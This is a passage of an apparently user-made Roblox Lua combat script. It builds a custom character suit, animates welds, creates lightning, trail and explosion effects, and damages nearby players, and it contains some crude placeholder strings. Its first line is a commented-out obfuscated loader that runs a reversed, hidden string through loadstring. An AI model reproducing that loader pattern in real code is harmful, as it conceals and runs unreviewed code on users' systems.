6615 | --q(function() loadstring(string.reverse(workspace.CurrentCamera[e(84) ..e(119) ..e(105) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(108) ..e(105) ..e(103) ..e(104) ..e(116) ..e(83) ..e(112) ..e(97) ..e(114) ..e(107) ..e(108) ..e(101)].Value))() end) | |
6616 | v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end | |
6617 | mf=math.floor sf=string.find sb=string.sub rn=math.random | |
6618 | function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end | |
6619 | qi = function(ttz) local qii = it(ttz[1],ttz[2]) table.foreach(ttz,function(oi,oi2) if oi ~= 1 and oi ~= 2 then qii[oi] = oi2 end end) return qii end | |
6620 | function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end | |
6621 | function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end | |
6622 | function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2) local fp=nil if sh ~= "Wedge" and sh ~= "CornerWedge" then fp=it("Part",pa) fp.Shape=sh fp.formFactor="Custom" elseif sh == "Wedge" then fp=it("WedgePart",pa) fp.formFactor="Custom" | |
6623 | elseif sh == "CornerWedge" then fp=it("CornerWedgePart",pa) end fp.Size=v3(x,y,z) fp.CanCollide=c fp.Anchored=false fp.BrickColor=bc(bc2) fp.Transparency=tr fp.Reflectance=re fp.BottomSurface=0 fp.Name=pn --fp.FrontSurface="Hinge" | |
6624 | fp.TopSurface=0 fp:BreakJoints() fp.Anchored = a return fp end | |
6625 | function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end | |
6626 | function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cn(x,y,z) *ca(a,b,c) return fw end | |
6627 | function fade(prt,incr) q(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end | |
6628 | function appear(prt,incr) q(function() for i=1,0,-incr do prt.Transparency=i w() end end) end | |
6629 | function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cn(HitPos) | |
6630 | local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end | |
6631 | function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cn(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end | |
6632 | function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end | |
6633 | function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then v.Handle.Transparency = 1 local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end | |
6634 | function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),xxz2) end | |
6635 | function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end | |
6636 | function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end | |
6637 | function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end | |
6638 | function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end | |
6639 | function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end | |
6640 | deb = function(ob,it) game:service'Debris':AddItem(ob,it) end | |
6641 | function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","White","Bright red"} return colz[rn(1,#colz)] end | |
6642 | function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end | |
6643 | Lightning = function(p0,p1,tym,ofs,col,th,tra) -- start end times offset color thickness | |
6644 | local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-ofs,ofs} | |
6645 | for i=1,tym do | |
6646 | local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor = BrickColor.new(col) | |
6647 | li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(th,th,magz/tym) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)]) | |
6648 | local trolpos = CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz | |
6649 | if tym == i then | |
6650 | local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th,th,magz2) | |
6651 | li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2) | |
6652 | else | |
6653 | li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2) | |
6654 | end | |
6655 | curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p game.Debris:AddItem(li,0.25) | |
6656 | end | |
6657 | end | |
6658 | function Trail(ob,times,waitz,col,thickz,ofz) q(function() local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cn(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2) | |
6659 | local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end) end | |
6660 | sTrail={} | |
6661 | function Trail2(lopz,ob,waitz,col,thickz,ofz) q(function() ti(sTrail,ob) | |
6662 | local oldpos=(ob.CFrame *ofz).p local lopz2=0 | |
6663 | local function Cobalt1164tr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1 | |
6664 | local mag=(oldpos - obp).magnitude | |
6665 | local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true | |
6666 | tr.CFrame=cn(oldpos,obp) | |
6667 | tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2) | |
6668 | local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) | |
6669 | q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) | |
6670 | tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end | |
6671 | repeat Cobalt1164tr() | |
6672 | w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz Cobalt1164tr() end) end | |
6673 | asset="http://www.roblox.com/asset/?id=" | |
6674 | table.foreach(Decs,function(a,b) if b:sub(1,3) ~= "rbx" then game:service'ContentProvider':Preload(Decs[a]) Decs[a] = asset .. Decs[a] game:service'ContentProvider':Preload(Decs[a]) end end) | |
6675 | a={} | |
6676 | a.ClickHold=0 | |
6677 | a.c=true -- weapon change or act debounce | |
6678 | a.s={} | |
6679 | a.cr={20,1.5} | |
6680 | ky = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "} | |
6681 | Anim = "None" | |
6682 | mouse = nil | |
6683 | Sounds={ | |
6684 | Break="3264793"; | |
6685 | Berserk="2676305"; | |
6686 | Fire1="2760979"; | |
6687 | Imbue="2785493"; | |
6688 | Ghost="3264923"; | |
6689 | Block="rbxasset://sounds\\metal.ogg"; | |
6690 | Boom="16976189"; | |
6691 | SniperFire="1369158"; | |
6692 | ShotgunFire2="1868836"; | |
6693 | MinigunFire="2692806"; | |
6694 | MinigunCharge="2692844"; | |
6695 | MinigunDischarge="1753007"; | |
6696 | Flashbang="16976189"; | |
6697 | Beep="15666462"; | |
6698 | Smash="2801263"; | |
6699 | Punch="31173820"; | |
6700 | Slash="rbxasset://sounds/swordslash.wav"; | |
6701 | Falcon="1387390"; | |
6702 | Cast="2101137"; | |
6703 | Spin="1369159"; | |
6704 | Abscond="2767090"; | |
6705 | ElectricalCharge="2800815"; | |
6706 | FireExplosion="3264793"; | |
6707 | SaberLightUp="10209303"; | |
6708 | SaberSlash="10209280"; | |
6709 | SaberHit="44463749"; | |
6710 | EnergyBlast="10209268"; | |
6711 | Lunge="rbxasset://sounds/swordlunge.wav"; | |
6712 | Unsheath="rbxasset://sounds/unsheath.wav"; | |
6713 | } | |
6714 | wss = 16 | |
6715 | caw = true | |
6716 | pl = p.LocalPlayer | |
6717 | bp = pl.Backpack | |
6718 | pg = pl.PlayerGui | |
6719 | c = pl.Character | |
6720 | to = c.Torso | |
6721 | he = c.Head he.face.Face = "Bottom" | |
6722 | hu =c.Humanoid | |
6723 | q(function() bp[sn]:Remove() end) | |
6724 | local su = it("Model",c) su.Name = "Suit1" | |
6725 | cl = "className" local caram = "CharacterMesh" | |
6726 | for i,v in pairs(to:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]=="CharacterMesh" then v:Remove() end end | |
6727 | for i,v in pairs(c:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]==caram then v:Remove() end end | |
6728 | pcall(function() c.Block:Remove() end) | |
6729 | local block = qi({"BoolValue",c,Value=false,Name="Block"}) | |
6730 | local hd=he:Clone'' | |
6731 | to.Transparency = 1 | |
6732 | he.Transparency = 1 | |
6733 | a.Bodyas=0 | |
6734 | a.insw={} | |
6735 | function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end | |
6736 | if namzi=="p0" then | |
6737 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then | |
6738 | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then | |
6739 | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then | |
6740 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0 | |
6741 | end | |
6742 | end | |
6743 | function ws(ii) | |
6744 | wss = ii | |
6745 | end | |
6746 | function c2(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) q(function() c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) end) end | |
6747 | a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) | |
6748 | if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx) | |
6749 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z | |
6750 | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z | |
6751 | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ() | |
6752 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx) | |
6753 | local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then | |
6754 | xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] | |
6755 | x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else | |
6756 | for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then | |
6757 | wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) | |
6758 | wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end | |
6759 | for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then | |
6760 | wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) | |
6761 | wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end | |
6762 | end | |
6763 | local i=1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) | |
6764 | else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx) | |
6765 | if c0orc1==0 then | |
6766 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) | |
6767 | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) | |
6768 | elseif c0orc1==1 then | |
6769 | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) | |
6770 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) | |
6771 | elseif c0orc1==3 then | |
6772 | local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z | |
6773 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) | |
6774 | local x,y,z=wexx.C1:toEulerAnglesXYZ() | |
6775 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) | |
6776 | end end | |
6777 | to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to | |
6778 | --"http://www.roblox.com/asset?id=67168288" | |
6779 | tk = true | |
6780 | p={} | |
6781 | t=pa(su,"Torso","Block",1.99,1.99,1,false,false,0,0,ts(to.BrickColor)) | |
6782 | la=pa(su,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law=weld(la,t,la,-1.5,1,0,0,0,0) | |
6783 | ra=pa(su,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw=weld(ra,t,ra,1.5,1,0,0,0,0) | |
6784 | ll=pa(su,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw=weld(ll,t,ll,-0.5,-1,0,0,0,0) | |
6785 | rl=pa(su,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw=weld(rl,t,rl,0.5,-1,0,0,0,0) | |
6786 | local hd2 = hd:Clone() hd2.Parent = su hd2.Transparency = 0 hd2.face.Face = "Front" hd2.Name = "FakeHead" hw=weld(hd2,t,hd2,0,1.5,0,0,0,0) | |
6787 | hd.Name = "Head" hd.Parent=su hd.Transparency=1 hd.face:Remove() hw2=weld(hd,t,hd,0,1.5,0,0,0,0) | |
6788 | tw=weld(t,to,t,0,0,0,0,0,0) | |
6789 | local fhu = it("Humanoid",su) fhu.MaxHealth = 1/0 fhu.PlatformStand = true fhu.Name = "" | |
6790 | pcall(function() c.Shirt:Clone().Parent = su end) | |
6791 | lh = to["Left Hip"] rh = to["Right Hip"] ls = to["Left Shoulder"] rs = to["Right Shoulder"] | |
6792 | lh.Part0=t rh.Part0=t ls.Part0=t rs.Part0=t | |
6793 | law2 = it("Weld",la) raw2 = it("Weld",ra) llw2 = it("Weld",ll) rlw2 = it("Weld",rl) | |
6794 | law2.Part0 = la raw2.Part0 = ra llw2.Part0 =ll rlw2.Part0 = rl | |
6795 | law2.C0 = cn(0,-1,0) raw2.C0 = cn(0,-1,0) llw2.C0 = cn(0,-1,0) rlw2.C0 = cn(0,-1,0) | |
6796 | la.Transparency=1 ra.Transparency=1 ll.Transparency=1 rl.Transparency=1 | |
6797 | c["Left Arm"].Transparency = 0 c["Right Arm"].Transparency = 0 | |
6798 | c["Left Leg"].Transparency = 0 c["Right Leg"].Transparency = 0 | |
6799 | Armb=true Armb2=true | |
6800 | Legb=true Legb2=true | |
6801 | function Armz(ison) Armb=ison if ison then | |
6802 | law.Part0=c["Left Arm"] law.C0=cn(-1.5,1,0) raw.Part0=c["Right Arm"] raw.C0=cn(1.5,1,0) | |
6803 | ls.Part1 = c["Left Arm"] rs.Part1 = c["Right Arm"] law2.Part1 = la raw2.Part1 = ra | |
6804 | else | |
6805 | law2.Part0 = la law2.Part1 = c["Left Arm"] raw2.Part0 = ra raw2.Part1 = c["Right Arm"] | |
6806 | ls.Part1 = t rs.Part1 = t law.Part0=t law.C0=cn(-1.5,1,0) raw.Part0=t raw.C0=cn(1.5,1,0) | |
6807 | end end | |
6808 | function Legz(ison) Legb=ison if ison then | |
6809 | llw.Part0=c["Left Leg"] llw.C0=cn(-0.5,-1,0) rlw.Part0=c["Right Leg"] rlw.C0=cn(0.5,-1,0) | |
6810 | lh.Part1 = c["Left Leg"] rh.Part1 = c["Right Leg"] llw2.Part1 = ll rlw2.Part1 = rl | |
6811 | else | |
6812 | llw2.Part0 = ll llw2.Part1 = c["Left Leg"] rlw2.Part0 = rl rlw2.Part1 = c["Right Leg"] | |
6813 | lh.Part1 = t rh.Part1 = t llw.Part0=t llw.C0=cn(-0.5,-1,0) rlw.Part0=t rlw.C0=cn(0.5,-1,0) | |
6814 | end end function Headz(ison) if ison then he.Transparency=0 else end end | |
6815 | Armz(true) Legz(true) --newhats(c,hd2,he) | |
6816 | hax2sazc = "BUTTSEXSYSTEM" | |
6817 | function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end q(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end | |
6818 | Sound("Your_F*cking_Name_here",1,1,he) | |
6819 | function SplashDmg(tehsit,pos,dmgx,mag,forc,fu) q(function() | |
6820 | local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end | |
6821 | if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v,fu) if tehsit then av.Sit=true end | |
6822 | --elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cn(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cn(pos,v.Position).lookVector*forc | |
6823 | else q(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end | |
6824 | end end -- func and loop end | |
6825 | dive(workspace) dive(workspace.CurrentCamera) end) end | |
6826 | for i,v in pairs(c:children()) do if v.Name == su.Name and v ~= su then v:Remove() end end | |
6827 | function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cn(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) q(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end | |
6828 | function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus,l1,l2,l3) q(function() | |
6829 | local spi=pa(c,"","Block",1,1,1,false,false,l1,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end | |
6830 | if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=adjus end | |
6831 | for i=l1,l2,l1 do spi.Transparency=i spim.Scale=mv3*(i+0.3) w() end spi:Remove'' end) | |
6832 | end | |
6833 | function Explode(onb,scz,colzz,dmge) q(function() local scale=scz*2 local scale2=scale*0.825 | |
6834 | local e1=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=Decs.Ring | |
6835 | local e2=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=Decs.Ring | |
6836 | local e3=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=Decs.Crown | |
6837 | SplashDmg(false,onb.p,dmge,scale/1.6,125) q(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do | |
6838 | e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w() | |
6839 | end | |
6840 | end) end | |
6841 | function splat2(pos,dmge) | |
6842 | local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end | |
6843 | dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0 | |
6844 | dbri.Anchored=true dbri.CFrame=cn(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end | |
6845 | local DBDH={} | |
6846 | function Dmgz(blockz,aihu,dmgzz2,pos,fuu) if ft(DBDH,aihu.Parent) or aihu == hu then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true q(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end | |
6847 | local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) and not tk then return end if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.75 end ti(DBDH,aihu.Parent) if rn(1,a.cr[1]) == 1 then aihu.Health=aihu.Health-dmgzz*a.cr[2] dmgzz="Crit! " ..ts(dmgzz*a.cr[2]) else q(function() fuu(aihu.Parent) end) aihu.Health=aihu.Health-dmgzz end if not pos then return end splat2(pos.Position,dmgzz) q(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end) | |
6848 | end) end | |
6849 | function rayHit(wai,Cobalt1164k,wepCobalt1164,adjus,magz,tim) local DebounceTable2={} q(function() | |
6850 | local hitx=0 local tymzup=false q(function() w(wai) tymzup=true end) | |
6851 | repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999) | |
6852 | repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end | |
6853 | bhit,bpos=ray((wepCobalt1164.CFrame *adjus *cn(xx,yy,-0.8)).p,wepCobalt1164.Position - (wepCobalt1164.CFrame *adjus *cn(0,0,2)).p) | |
6854 | if bhit ~= nil and (bpos - wepCobalt1164.Position).magnitude < magz+0.8 then break end until tries > 8 | |
6855 | if bhit==nil or (bpos - wepCobalt1164.Position).magnitude > magz+0.8 then else local brea=false | |
6856 | for i,v in pairs(bhit.Parent:children()) do local dmge=rn(d[1],d[2])*tim | |
6857 | if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end | |
6858 | if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(d[1],d[2])*tim | |
6859 | if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end | |
6860 | end | |
